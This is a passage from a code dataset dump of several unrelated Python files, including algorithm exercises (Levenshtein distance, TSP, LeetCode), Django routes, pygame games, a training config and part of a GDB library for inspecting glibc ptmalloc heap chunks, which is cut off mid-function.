elif value == b:\r\n subtractions = subtractions + 1\r\n x = x - 1\r\n y = y - 1\r\n # print(seq1[x - 1], seq2[y - 1])\r\n else:\r\n deletions = deletions + 1\r\n y = y - 1\r\n # print(seq1[x - 1], seq2[y - 1])\r\n\r\n # print(matrix) # For showing the total matrix, this calling function should use.\r\n\r\n print(\"additions=\", additions, \"subtractions=\", subtractions, \"deletions= \", deletions, \"match\", match)\r\n\r\n return matrix[size_x - 1, size_y - 1]\r\n\r\n\r\nfor i in range(0, len(text)):\r\n print(\"Output=\", levenshtein(text[i], text2[i]))\r\n","sub_path":"levenshtein_distance_code.py","file_name":"levenshtein_distance_code.py","file_ext":"py","file_size_in_byte":3165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"253733958","text":"\"\"\"\nThe first line indicates the number of cities.\nEach city is a point in the plane,\nand each subsequent line indicates the x- and y-coordinates of a single city.\nThe distance between two cities is defined as the Euclidean distance\n\"\"\"\nimport numpy as np\n\n\nclass point:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n def dist(self, other):\n return ((self.x - other.x)**2 + (self.y - other.y)**2)**0.5\n\n def __lt__(self, other):\n orig = point(0, 0)\n self_mag = self.dist(orig)\n other_mag = other.dist(orig)\n if self_mag < other_mag:\n return True\n elif self_mag > other_mag:\n return False\n elif self.x < other.x:\n return True\n elif self.x > other.x:\n return False\n elif self.y < other.y:\n return True\n else:\n return False\n\n def __eq__(self, other):\n return self.x == other.x and self.y == other.y\n\n def __hash__(self):\n return int(3*self.x) + int(3*self.y)\n\n def __str__(self):\n return f'({self.x}, {self.y})'\n\n def __repr__(self):\n return f'({self.x}, {self.y})'\n\n\ndef combinations(selected, pool, choose): # super hacky but works?\n assert len(pool) >= choose,\\\n f'{choose} greater than number of items to pick from.'\n\n def combinations_helper(selected, remainder, choose):\n if choose == 0:\n excluded = []\n for item in pool:\n if item not in(selected):\n excluded.append(item)\n combo = (tuple(sorted(selected)), tuple(sorted(excluded)))\n combos.append(combo)\n else:\n for index, item in enumerate(remainder):\n new_selection = selected + [item]\n new_remainder = remainder[min(len(remainder), index+1):]\n combinations_helper(\n selected=new_selection,\n remainder=new_remainder,\n choose=choose-1,\n )\n\n combos = []\n remainder = [item for item in pool if item not in(selected)]\n choose = choose - len(selected)\n\n if choose == 0: # special case we don't do any selection\n combo = (tuple(sorted(selected)), tuple(sorted(remainder)))\n combos.append(combo)\n\n else:\n for index, item in enumerate(remainder):\n if index + choose > len(remainder):\n break\n new_selection = selected + [item]\n new_remainder = remainder[index+1:]\n combinations_helper(\n selected=new_selection,\n remainder=new_remainder,\n choose=choose-1\n )\n\n return combos\n\n\ndef tsp(point_list):\n # initializing with source to source to source path of 0\n source = point_list[0]\n paths = {\n (source,): {},\n }\n for point in point_list:\n if point != source:\n paths[(source, )][point] = np.Infinity\n else:\n paths[(source, )][point] = 0\n\n # finding optimal path from optimal subpaths\n for set_size in range(2, len(point_list)+1):\n print(f'running set size: {set_size}')\n combos = combinations(\n selected=[source], pool=point_list, choose=set_size)\n for in_path, _ in combos:\n tmp_path = list(in_path)\n paths[in_path] = {}\n for point in tmp_path:\n if point == source:\n continue\n other_subset = tuple(\n sorted([i for i in tmp_path if i != point]))\n min_path = np.Infinity\n for prev_point in other_subset:\n if prev_point == source and set_size > 2:\n continue\n path_len = (paths[other_subset][prev_point] +\n point.dist(prev_point))\n min_path = min(min_path, path_len)\n paths[in_path][point] = min_path\n\n # deleting combinations no longer used to keep memory feasible\n clean_combos = combinations(\n selected=[source],\n pool=point_list,\n choose=set_size - 1\n )\n for combo, _ in clean_combos:\n del paths[combo]\n\n # final loop back to start\n min_loop = np.Infinity\n complete_set = tuple(sorted(point_list))\n for end_point in point_list:\n if end_point == source:\n continue\n loop_len = paths[complete_set][end_point] + source.dist(end_point)\n min_loop = min(min_loop, loop_len)\n\n return min_loop\n\n\ndef main():\n print('Running TSP Test')\n test_point_list = [\n point(0, 0),\n point(0, 1),\n point(1, 1),\n point(1.5, 0.5),\n point(1, 0),\n ]\n tsp_test = tsp(test_point_list)\n assert int(1000*tsp_test) == 4414\n print('Test complete')\n\n print('Loading data')\n filepath = '/Users/brendonsullivan/Documents/docs/coursera_hw/tsp.txt'\n point_list = []\n with open(filepath, 'r') as f:\n header = True\n for line in f:\n if header:\n header = False\n continue\n x, y = [float(x) for x in line.split(' ')]\n point_list.append(point(x, y))\n print('Running TSP')\n tsp_soln = tsp(point_list)\n print(f'Solution: {tsp_soln}')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"coursera/algorithms/course_4/problem_set_2.py","file_name":"problem_set_2.py","file_ext":"py","file_size_in_byte":5387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"550883045","text":"\nlist1 = [2, 4, 3]\nlist2 = [5, 6, 4]\nresult = [7, 0, 8]\n\n\nclass Solution(object):\n def addTwoNumbers(self, l1, l2):\n \"\"\"\n :type l1: ListNode\n :type l2: ListNode\n :rtype: ListNode\n \"\"\"\n number1 = self._get_number(l1)\n number2 = self._get_number(l2)\n result = str(number1 + number2)\n res_list = [i for i in result][::-1]\n return list(map(int, res_list))\n\n def _get_number(self, number_list):\n number = int(''.join(list(map(str, number_list[::-1]))))\n return number\n\n\nret = Solution()\nres = ret.addTwoNumbers(list1, list2)\nprint(dir(res))\nprint(res)\nprint(type(res))\n","sub_path":"leetcode/add_two_number.py","file_name":"add_two_number.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"340796009","text":"from django.urls import path\nfrom . import views\nurlpatterns = [\n \n path('',views.GRSappHome,name = 'GRSappHome'),\n \n path('mobiles',views.loadmobiles,name=\"loadmobiles\"),\n path('laptops',views.loadlaptops,name=\"loadlaptops\"),\n path('headset',views.loadheadsets,name=\"loadheadsets\"),\n path('camera',views.loadcameras,name=\"loadcameras\"),\n path('powerbank',views.loadpowerbanks,name=\"loadpowerbanks\"),\n path('kettle',views.loadkettles,name=\"loadkettles\"),\n path('washingmachine',views.loadwashmachines,name=\"loadwashmachines\"),\n path('refrigerator',views.loadfridges,name=\"loadfridges\"),\n path('television',views.loadtelevisions,name=\"loadtelevisions\"),\n\n path('mobiles/',views.mobileview,name=\"mobileview\"),\n path('laptops/',views.laptopview,name=\"laptopview\"),\n path('headsets/',views.headsetview,name=\"headsetview\"),\n path('cameras/',views.cameraview,name=\"cameraview\"),\n path('powerbanks/',views.powerbankview,name=\"powerbankview\"),\n path('fridges/',views.fridgeview,name=\"fridgeview\"),\n path('kettles/',views.kettleview,name=\"kettleview\"),\n path('televisions/',views.televisionview,name=\"televisionview\"),\n path('washmachines/',views.washmachineview,name=\"washmanchineview\")\n\n \n]","sub_path":"GRSapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"525164026","text":"import sys\nimport json\nimport os\n\nif __name__ == '__main__': \n if len(sys.argv) != 3:\n print('Usage:')\n print(f'\\tpython {sys.argv[0]} ')\n exit(1)\n\n nufx_file = sys.argv[1]\n destination_folder = sys.argv[2]\n\n # It's faster to read the data all at once from SQLite and then sort in python.\n with open(nufx_file, 'r') as file:\n nufxb = json.loads(file.read())\n\n for program in nufxb['data']['Nufx']['programs']:\n program_name = program['name']\n output_path = os.path.join(destination_folder,f'{program_name}_info.txt')\n with open(output_path,\"w\") as file:\n file.write('=== Material Parameters ===\\n')\n file.writelines([param['parameter_name'] + '\\n' for param in program['material_parameters']])\n file.write('\\n')\n\n file.write('=== Vertex Attributes ===\\n')\n file.writelines([attr['attribute_name'] + '\\n' for attr in program['vertex_attributes']])\n file.write('\\n')\n","sub_path":"Scripts/batch_export_shader_info.py","file_name":"batch_export_shader_info.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"651590263","text":"from pygame.sprite import Sprite\n\n\nclass Popcoin(Sprite):\n def __init__(self, settings, screen, sprites, x, bottom):\n super(Popcoin, self).__init__()\n self.screen = screen\n\n self.sprites = sprites\n self.rect = self.sprites[0].get_rect()\n self.rect.x = x\n self.rect.bottom = bottom\n\n self.frame = 0\n self.velocity = settings.scale[\"pixel_height\"] * 4\n self.decceleration = settings.scale[\"pixel_height\"] * 1\n\n def draw(self, x_offset):\n self.screen.blit(self.sprites[self.frame % 4], self.rect.move(x_offset, 0))\n self.rect.y -= self.velocity\n if self.frame % 2 == 0:\n self.velocity -= self.decceleration\n\n\nclass Brokebricks(Sprite):\n def __init__(self, settings, screen, sprites, center):\n super(Brokebricks, self).__init__()\n self.screen = screen\n\n self.sprites = sprites\n self.left_rect1 = self.sprites[0].get_rect()\n self.left_rect2 = self.sprites[0].get_rect()\n self.right_rect1 = self.sprites[0].get_rect()\n self.right_rect2 = self.sprites[0].get_rect()\n self.left_rect1.bottomright = center\n self.left_rect2.topright = center\n self.right_rect1.bottomleft = center\n self.right_rect2.topleft = center\n\n self.frame = 0\n self.x_velocity = settings.scale[\"pixel_width\"] * 1\n self.y_velocity1 = settings.scale[\"pixel_height\"] * 4\n self.y_velocity2 = settings.scale[\"pixel_height\"] * 2\n self.decceleration = 1\n\n def draw(self, x_offset):\n self.screen.blit(self.sprites[self.frame % 4], self.left_rect1.move(x_offset, 0))\n self.screen.blit(self.sprites[self.frame % 4], self.left_rect2.move(x_offset, 0))\n self.screen.blit(self.sprites[self.frame % 4], self.right_rect1.move(x_offset, 0))\n self.screen.blit(self.sprites[self.frame % 4], self.right_rect2.move(x_offset, 0))\n\n self.left_rect1.x -= self.x_velocity\n self.left_rect1.y -= self.y_velocity1\n self.left_rect2.x -= self.x_velocity\n self.left_rect2.y -= self.y_velocity2\n self.right_rect1.x += self.x_velocity\n self.right_rect1.y -= self.y_velocity1\n self.right_rect2.x += self.x_velocity\n self.right_rect2.y -= self.y_velocity2\n\n if self.frame % 2 == 0:\n self.y_velocity1 -= self.decceleration\n self.y_velocity2 -= self.decceleration\n","sub_path":"animations.py","file_name":"animations.py","file_ext":"py","file_size_in_byte":2422,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"464822954","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# **************************************\n# @Author : Qiqi Xiao & Jiaxu Zou\n# @Email : xiaoqiqi177@gmail.com & zoujx96@gmail.com\n# @File : config_gan_ex.py\n# **************************************\nLESION_IDS = {'EX':0, 'HE':1, 'MA':2, 'SE':3}\n\n#Modify the general parameters.\nIMAGE_DIR = '../../data/raw/IDRiD'\nLESION_NAME = 'SE'\nCLASS_ID = LESION_IDS[LESION_NAME]\nNET_NAME = 'unetplusplusstar'\nPREPROCESS = True\nIMAGE_SIZE = 512\n\n#Modify the parameters for training.\nEPOCHES = 50\nTRAIN_BATCH_SIZE = 2\nD_WEIGHT = 0.01\nD_MULTIPLY = False\nPATCH_SIZE = 128\nMODELS_DIR = '../../models/IDRiD/SE/improve_with_gan/checkpoints'\nLOG_DIR = '../../models/IDRiD/SE/improve_with_gan/drlog_unetppstar_true_ex_gan'\nG_LEARNING_RATE = 0.001\nD_LEARNING_RATE = 0.001\nLESION_DICE_WEIGHT = 0.\nROTATION_ANGEL = 20\nCROSSENTROPY_WEIGHTS = [10.]\nRESUME_MODEL = None ","sub_path":"src/main/config_gan_se.py","file_name":"config_gan_se.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"22570433","text":"import pygame,sys,random\nfrom pygame.locals import *\nimport random\nimport time\n\n\n\nclass SnakeHead(pygame.sprite.Sprite):\n\n def __init__(self, image, snake_tail):\n pygame.sprite.Sprite.__init__(self)\n self.image = image\n self.rect = self.image.get_rect()\n self.rect.x = snake_size_x\n self.rect.y = snake_size_y\n self.x_speed = self.rect.width\n self.y_speed = self.rect.height\n self.snake_move= 'right'\n\n\n def move(self):\n self.last_x, self.last_y = self.rect.x, self.rect.y#蛇身的运动\n if self.snake_move == 'up':\n self.rect.y -= self.y_speed\n if self.snake_move == 'down':\n self.rect.y += self.y_speed\n if self.snake_move == 'left':\n self.rect.x -= self.x_speed\n if self.snake_move == 'right':\n self.rect.x += self.x_speed\n\n\n # 当蛇到了边界游戏结束\n if self.rect.x > game_width or self.rect.x< 0:\n game_over(game)\n if self.rect.y >game_height or self.rect.y<0:\n game_over(game)\n\n # pygame.display.set_caption(str(self.rect.x)+' '+str(self.rect.y)+' '+str(self.x_speed)+' '+str(self.y_speed))\n \n self.check_if_eating()\n self.check_if_dead()\n\n if len(snake_tail) > 0:\n snake_tail.pop()\n snake_tail.insert(0, SnakeBody(body_image, self.last_x, self.last_y))\n global snake_group\n snake_group = pygame.sprite.Group(self, *snake_tail)\n\n def add_block(self):\n global snake_group\n snake_tail.append(SnakeBody(body_image, self.last_x, self.last_y))\n snake_group = pygame.sprite.Group(self, *snake_tail)\n\n def check_if_eating(self):\n for apple in pygame.sprite.spritecollide(self, apple_group, False):\n apple.reset()\n self.add_block()\n\n def check_if_dead(self):\n for sprite in snake_group:\n if len(pygame.sprite.spritecollide(sprite, snake_group, False)) > 1:\n global game_ended\n game_ended = True\n\nclass SnakeBody(pygame.sprite.Sprite):\n\n def __init__(self, image, x, y):\n pygame.sprite.Sprite.__init__(self)\n self.image = image\n self.rect = self.image.get_rect()\n self.rect.x = x\n self.rect.y = y\nclass Apple(pygame.sprite.Sprite):\n\n def __init__(self, image, x=None, y=None):\n pygame.sprite.Sprite.__init__(self)\n self.image = image\n self.rect = self.image.get_rect()\n\n if x == None:\n self.rect.x = random.randint(0,game_width - self.rect.width)\n else:\n self.rect.x = x\n\n if y == None:\n self.rect.y = random.randint(0,game_height - self.rect.height)\n else:\n self.rect.y = y\n\n def reset(self):\n self.rect.x = random.choice(range(0,game_width - self.rect.width, self.rect.width))\n self.rect.y = random.choice(range(0,game_height - self.rect.height, self.rect.height))\n\n\npygame.init()\ngame_name=\"贪吃蛇\"\npygame.display.set_caption(game_name)\ngame_width,game_height=1080,720\ngame = pygame.display.set_mode((game_width,game_height))\nfps = 5\ngame_go =False\nclock = pygame.time.Clock()\nbackground_color = (150, 150, 150)\nsnake_size_x=100\nsnake_size_y=200\nttf_color=0,0,0\n\n# pygame.mixer.init()\n# pygame.mixer.music.load('./music/12.mp3')\n# pygame.mixer.music.play(1)\n\nbody_image = pygame.image.load('./images/snake_block.png')\nhead_image = pygame.image.load('./images/snake_head.png')\nfood_image = pygame.image.load('./images/apple.png')\nbackground_image = pygame.image.load('./images/background.png')\nvignette_image = pygame.image.load('./images/vignette.png')\nvignette_image = pygame.transform.scale(\n vignette_image,\n (game_width, game_height)\n)\n\n\n# 蛇的身体\nsnake_tail = []\n# 初始化蛇身长\nlens = 3\nx,y = snake_size_x , snake_size_y\nwhile lens:\n x -= 20\n snake_tail.append(SnakeBody(body_image, x, y))\n lens -= 1\n\nsnake = SnakeHead(head_image, snake_tail)\n\nsnake_group = pygame.sprite.Group(snake, *snake_tail)\n\napple_list = [Apple(food_image) for _ in range(0, 1)]\n\napple_group = pygame.sprite.Group(*apple_list)\n\ndef draw_background(game):\n for x in range(0, game_width, background_image.get_rect().width):\n for y in range(0,game_height, background_image.get_rect().height):\n pygame.Surface.blit(game, background_image, (x, y))\n\n\ndef game_over(game):\n # gameoverFont = pygame.font.Font('ziti.ttf', 72)\n # gameoverSurf = gameoverFont.render('Game Over', True,ttf_color )\n # gameoverRect = gameoverSurf.get_rect()\n # gameoverRect.midtop = (500, 300)\n # game.blit(gameoverSurf, gameoverRect)\n # pygame.display.flip()\n pygame.display.set_caption('game over')\n time.sleep(1)\n pygame.quit()\n sys.exit()\n\n\nwhile not game_go:\n for event in pygame.event.get():\n if event.type == QUIT:\n game_go = True\n break\n if event.type == KEYDOWN:\n if event.key == K_ESCAPE:\n game_go = True\n break\n if snake.snake_move in ['right','left']:\n if event.key == K_UP:\n snake.snake_move= 'up'\n if event.key == K_DOWN:\n snake.snake_move = 'down'\n if snake.snake_move in ['up', 'down']:\n if event.key == K_LEFT:\n snake.snake_move = 'left'\n if event.key == K_RIGHT:\n snake.snake_move = 'right'\n if event.key ==K_i:\n fps=fps+1\n if event.key ==K_o:\n fps=fps-1\n snake.move()\n\n pygame.Surface.fill(game, background_color)\n draw_background(game)\n apple_group.draw(game)\n snake_group.draw(game)\n pygame.Surface.blit(game, vignette_image, (0, 0))\n pygame.display.update()\n clock.tick(fps)\n\n","sub_path":"Python/python.other/laobanzhang.sanke/snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":5875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"584576127","text":"# libptmalloc2.py\n#\n# This file is part of libptmalloc.\n# Copyright (c) 2017, Aaron Adams \n# Copyright (c) 2017, Cedric Halbronn \n#\n# This is a library designed for analysis of libptmalloc2. It is heavily based\n# on libheap.py by cloudburst.(https://github.com/cloudburst/libheap). In\n# addition to new functionality, it has been modified to more closely model\n# commands available in other tools like libdlmalloc and libtalloc\n#\n# Some gdb argument handling functions were taken and/or inspired from\n# https://github.com/0vercl0k/stuffz/blob/master/dps_like_for_gdb.py\n#\n# Conventions:\n# - Everything not in pt_helper should be prefixed by pt* to avoid conflicts\n# with other libs\n# - More specifically, all structures should be name pt_* (such as pt_chunk)\n# whereas gdb cmds should be name pt* (without underscore, such as ptchunk)\n# - Everything else should be stored in pt_helper and NOT be prefixed with pt*\n#\nfrom __future__ import print_function\n\nimport binascii\nimport importlib\nimport os\nimport re\nimport struct\nimport sys\nimport traceback\nfrom functools import wraps\nfrom os.path import basename\n\nsys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))\n\ntry:\n import helper as h\n from prettyprinters import *\n from printutils import *\nexcept ImportError:\n print(\"[libptmalloc] sys.path needs tweaking\")\n\ntry:\n import gdb\n import helper_gdb as hgdb\n\n importlib.reload(hgdb)\n is_gdb = True\n\nexcept ImportError:\n is_gdb = False\n print(\"[libptmalloc] Not running inside of GDB, limited functionality\")\n\n\n# except Exception:\n# # XXX - find a way to actually import the ones from libptmalloc in case\n# # we modify these files\n# print(\"[libptmalloc] Run 'python setup.py install' to use printers\")\n# sys.exit(1)\n\n\nimportlib.reload(h)\n\n\nclass logger:\n def logmsg(self, s, end=None):\n if type(s) == str:\n if end is not None:\n print(\"[libptmalloc] \" + s, end=end)\n else:\n print(\"[libptmalloc] \" + s)\n else:\n print(s)\n\n\n###############################################################################\n# HELPERS\n###############################################################################\n\n\ndef gdb_backtrace(f):\n \"decorator to let us show proper stack traces\"\n\n @wraps(f)\n def catch_exceptions(*args, **kwargs):\n try:\n f(*args, **kwargs)\n except Exception:\n h.show_last_exception()\n\n\ndef read_proc_maps(pid):\n \"\"\"\n Locate the stack of a process using /proc/pid/maps.\n Will not work on hardened machines (grsec).\n \"\"\"\n\n filename = \"/proc/%d/maps\" % pid\n\n try:\n fd = open(filename)\n except IOError:\n print_error(\"Unable to open {0}\".format(filename))\n return -1, -1\n\n libc_begin = libc_end = heap_begin = heap_end = 0\n for line in fd:\n if line.find(\"libc-\") != -1:\n fields = line.split()\n\n libc_begin, libc_end = fields[0].split(\"-\")\n libc_begin = int(libc_begin, 16)\n libc_end = int(libc_end, 16)\n elif line.find(\"heap\") != -1:\n fields = line.split()\n\n heap_begin, heap_end = fields[0].split(\"-\")\n heap_begin = int(heap_begin, 16)\n heap_end = int(heap_end, 16)\n\n fd.close()\n\n if libc_begin == 0 or libc_end == 0:\n print_error(\"Unable to read libc address information via /proc\")\n return -1, -1\n\n if heap_begin == 0 or heap_end == 0:\n print_error(\"Unable to read heap address information via /proc\")\n return -1, -1\n\n return libc_end, heap_begin\n\n\n# General class for all helper methods to avoid namespace overlap with other\n# heap libraries\nclass pt_helper:\n\n PREV_INUSE = 1\n IS_MMAPPED = 2\n NON_MAIN_ARENA = 4\n SIZE_BITS = PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA\n\n NBINS = 128\n NSMALLBINS = 64\n\n BINMAPSHIFT = 5\n BITSPERMAP = 1 << BINMAPSHIFT\n BINMAPSIZE = NBINS / BITSPERMAP\n\n FASTCHUNKS_BIT = 0x1\n\n NONCONTIGUOUS_BIT = 0x2\n\n HEAP_MIN_SIZE = 32 * 1024\n HEAP_MAX_SIZE = 1024 * 1024\n DEFAULT_LIBC_VERSION = (2, 31)\n # This should correspond to pt_arenas entries\n known_versions = [\"2.31\"]\n\n def __init__(self, size_sz=0):\n self.terse = True # XXX - This should be configurable\n # Non-gdb users will have to specify the size themselves\n if size_sz == 0:\n self.retrieve_sizesz()\n else:\n self.SIZE_SZ = size_sz\n\n self.INUSE_HDR_SZ = 2 * self.SIZE_SZ\n self.FREE_FASTCHUNK_HDR_SZ = 3 * self.SIZE_SZ\n self.FREE_HDR_SZ = 4 * self.SIZE_SZ\n self.FREE_LARGE_HDR_SZ = 6 * self.SIZE_SZ\n\n self.MIN_CHUNK_SIZE = 4 * self.SIZE_SZ\n self.MALLOC_ALIGNMENT = 2 * self.SIZE_SZ\n self.MALLOC_ALIGN_MASK = self.MALLOC_ALIGNMENT - 1\n self.MINSIZE = (\n self.MIN_CHUNK_SIZE + self.MALLOC_ALIGN_MASK\n ) & ~self.MALLOC_ALIGN_MASK\n\n self.SMALLBIN_WIDTH = self.MALLOC_ALIGNMENT\n self.MIN_LARGE_SIZE = self.NSMALLBINS * self.SMALLBIN_WIDTH\n\n self.MAX_FAST_SIZE = 80 * self.SIZE_SZ / 4\n self.NFASTBINS = self.fastbin_index(self.request2size(self.MAX_FAST_SIZE)) + 1\n\n self.ptchunk_callback = None\n self.ptchunk_callback_cached = None\n # Assume we can re-use known mstate when not specified\n self.pt_cached_mstate = None\n self.arena_address = None\n\n self.version = self.DEFAULT_LIBC_VERSION\n\n def get_version(self):\n return \".\".join(map(str, self.version))\n\n def logmsg(self, s, end=None):\n if type(s) == str:\n if end is not None:\n print(\"[libptmalloc] \" + s, end=end)\n else:\n print(\"[libptmalloc] \" + s)\n else:\n print(s)\n\n def retrieve_sizesz(self):\n \"\"\"Retrieve the SIZE_SZ after binary loading finished,\n this allows import within .gdbinit\"\"\"\n\n _machine = self.get_arch()\n if \"elf64\" in _machine:\n self.SIZE_SZ = 8\n elif \"elf32\" in _machine:\n self.SIZE_SZ = 4\n else:\n raise Exception(\"Retrieving the SIZE_SZ failed.\")\n\n # This can be initialized to register a callback that will dump additional\n # embedded information while analyzing a ptmalloc chunk. An example (and\n # why this was written) is the Cisco ASA mh header.\n # XXX - Would be nice if the callback implemented a test call to see that\n # we can actually run it before we say it's there. :)\n def register_callback(self, func):\n self.ptchunk_callback = func\n self.logmsg(\"Registered new ptchunk callback\")\n\n def get_arch(self):\n res = gdb.execute(\"maintenance info sections ?\", to_string=True)\n if \"elf32-i386\" in res and \"elf64-x86-64\" in res:\n raise (\"get_arch: could not determine arch (1)\")\n if \"elf32-i386\" not in res and \"elf64-x86-64\" not in res:\n raise (\"get_arch: could not determine arch (2)\")\n if \"elf32-i386\" in res:\n return \"elf32-i386\"\n elif \"elf64-x86-64\" in res:\n return \"elf64-x86-64\"\n else:\n raise (\"get_arch: failed to find arch\")\n\n def chunk2mem(self, p):\n \"conversion from malloc header to user pointer\"\n return p.address + (2 * self.SIZE_SZ)\n\n def mem2chunk(self, mem):\n \"conversion from user pointer to malloc header\"\n return mem - (2 * self.SIZE_SZ)\n\n def request2size(self, req):\n \"pad request bytes into a usable size\"\n\n if req + self.SIZE_SZ + self.MALLOC_ALIGN_MASK < self.MINSIZE:\n return self.MINSIZE\n else:\n return (\n int(req + self.SIZE_SZ + self.MALLOC_ALIGN_MASK)\n & ~self.MALLOC_ALIGN_MASK\n )\n\n def prev_inuse(self, p):\n \"extract inuse bit of previous chunk\"\n return p.size & self.PREV_INUSE\n\n def chunk_is_mmapped(self, p):\n \"check for mmap()'ed chunk\"\n return p.size & self.IS_MMAPPED\n\n def chunk_non_main_arena(self, p):\n \"check for chunk from non-main arena\"\n return p.size & self.NON_MAIN_ARENA\n\n def chunksize(self, p):\n \"Get size, ignoring use bits\"\n return p.size & ~self.SIZE_BITS\n\n def ptr_from_ptmalloc_chunk(self, p):\n return p.address + (self.SIZE_SZ * 2)\n\n def next_chunk(self, p):\n \"Ptr to next physical malloc_chunk.\"\n return p.address + (p.size & ~self.SIZE_BITS)\n\n def prev_chunk(self, p):\n \"Ptr to previous physical malloc_chunk\"\n return p.address - p.prev_size\n\n def chunk_at_offset(self, p, s):\n \"Treat space at ptr + offset as a chunk\"\n return pt_chunk(self, p.address + s, inuse=False)\n\n # avoid creating pt_chunk to avoid recursion problems\n def inuse(self, p):\n \"extract p's inuse bit\"\n nextchunk_addr = p.address + (p.size & ~self.SIZE_BITS)\n # XXX - We can't necessarily read the next chunk if not in gdb\n if not is_gdb:\n if self.inuse:\n return 1\n else:\n return 0\n inferior = hgdb.get_inferior()\n mem = inferior.read_memory(nextchunk_addr + self.SIZE_SZ, self.SIZE_SZ)\n if self.SIZE_SZ == 4:\n nextchunk_size = struct.unpack_from(\"> 4\n else:\n return sz >> 3\n\n def largebin_index_32(self, sz):\n \"return the 32bit largebin index\"\n\n if (sz >> 6) <= 38:\n return 56 + (sz >> 6)\n elif (sz >> 9) <= 20:\n return 91 + (sz >> 9)\n elif (sz >> 12) <= 10:\n return 110 + (sz >> 12)\n elif (sz >> 15) <= 4:\n return 119 + (sz >> 15)\n elif (sz >> 18) <= 2:\n return 124 + (sz >> 18)\n else:\n return 126\n\n def largebin_index_64(self, sz):\n \"return the 64bit largebin index\"\n\n if (sz >> 6) <= 48:\n return 48 + (sz >> 6)\n elif (sz >> 9) <= 20:\n return 91 + (sz >> 9)\n elif (sz >> 12) <= 10:\n return 110 + (sz >> 12)\n elif (sz >> 15) <= 4:\n return 119 + (sz >> 15)\n elif (sz >> 18) <= 2:\n return 124 + (sz >> 18)\n else:\n return 126\n\n def largebin_index(self, sz):\n \"return the largebin index\"\n\n if self.SIZE_SZ == 8:\n return self.largebin_index_64(sz)\n else:\n return self.largebin_index_32(sz)\n\n def bin_index(self, sz):\n \"return the bin index\"\n\n if self.in_smallbin_range(sz):\n return self.smallbin_index(sz)\n else:\n return self.largebin_index(sz)\n\n def fastbin(self, ar_ptr, idx):\n return ar_ptr.fastbinsY[idx]\n\n def fastbin_index(self, sz):\n \"offset 2 to use otherwise unindexable first 2 bins\"\n if self.SIZE_SZ == 8:\n return (sz >> 4) - 2\n else:\n return (sz >> 3) - 2\n\n def have_fastchunks(self, M):\n return (M.flags & self.FASTCHUNKS_BIT) == 0\n\n def clear_fastchunks(self, M, inferior=None):\n if inferior is None:\n inferior = hgdb.get_inferior()\n\n M.flags |= self.FASTCHUNKS_BIT\n inferior.write_memory(M.address, struct.pack(\" maxlen:\n size = maxlen\n print(\"0x%x bytes of chunk data:\" % size)\n if self.SIZE_SZ == 4:\n cmd = \"x/%dwx 0x%x\\n\" % (size / 4, data)\n elif self.SIZE_SZ == 8:\n cmd = \"x/%dwx 0x%x\\n\" % (size / 4, data)\n # cmd = \"x/%dgx 0x%x\\n\" % (size/8, data)\n # cmd = \"dps 0x%x %d\\n\" % (data, size/8)\n gdb.execute(cmd, True)\n return\n\n def chunk_info(self, p, inuse_override=None):\n info = []\n info.append(\"0x%lx \" % p.address)\n if p.fastchunk_freed is True:\n info.append(\"f \")\n elif self.inuse(p):\n info.append(\"M \")\n else:\n info.append(\"F \")\n sz = self.chunksize(p)\n if sz == 0:\n print(\"[!] Chunk at address 0x%.x likely invalid or corrupt\" % p.address)\n if self.terse:\n info.append(\"sz:0x%.05x \" % sz)\n else:\n info.append(\"sz:0x%.08x \" % sz)\n flag_str = \"\"\n if self.terse:\n info.append(\"fl:\")\n if self.chunk_is_mmapped(p):\n flag_str += \"M\"\n else:\n flag_str += \"-\"\n if self.chunk_non_main_arena(p):\n flag_str += \"N\"\n else:\n flag_str += \"-\"\n if self.prev_inuse(p):\n flag_str += \"P\"\n else:\n flag_str += \"-\"\n info.append(\"%3s\" % flag_str)\n\n else:\n info.append(\"flags: \")\n if self.chunk_is_mmapped(p):\n flag_str += \"MMAPPED\"\n else:\n flag_str += \"-------\"\n flag_str += \"|\"\n if self.chunk_non_main_arena(p):\n flag_str += \"NON_MAIN_ARENA\"\n else:\n flag_str += \"--------------\"\n flag_str += \"|\"\n if self.prev_inuse(p):\n flag_str += \"PREV_INUSE\"\n else:\n flag_str += \"----------\"\n info.append(\"%33s\" % flag_str)\n\n if self.ptchunk_callback is not None:\n size = self.chunksize(p) - p.hdr_size\n if p.data_address is not None:\n # We can provide an excess of information and the\n # callback can choose what to use\n cbinfo = {}\n # XXX - Don't know if we need to send all this\n cbinfo[\"caller\"] = \"ptchunk_info\"\n cbinfo[\"allocator\"] = \"ptmalloc\"\n cbinfo[\"addr\"] = p.data_address\n cbinfo[\"hdr_sz\"] = p.hdr_size\n cbinfo[\"chunksz\"] = self.chunksize(p)\n cbinfo[\"min_hdr_sz\"] = self.INUSE_HDR_SZ\n cbinfo[\"data_size\"] = size\n # Sometimes we want to show free_pc even when a chunk is\n # in-use, like if we hook free to trace it\n cbinfo[\"inuse\"] = p.inuse\n if inuse_override is not None:\n cbinfo[\"inuse_override\"] = inuse_override\n cbinfo[\"no_print\"] = True\n cbinfo[\"chunk_info\"] = True\n cbinfo[\"size_sz\"] = self.SIZE_SZ\n if p.from_mem:\n cbinfo[\"mem\"] = p.mem[p.hdr_size :]\n\n extra = 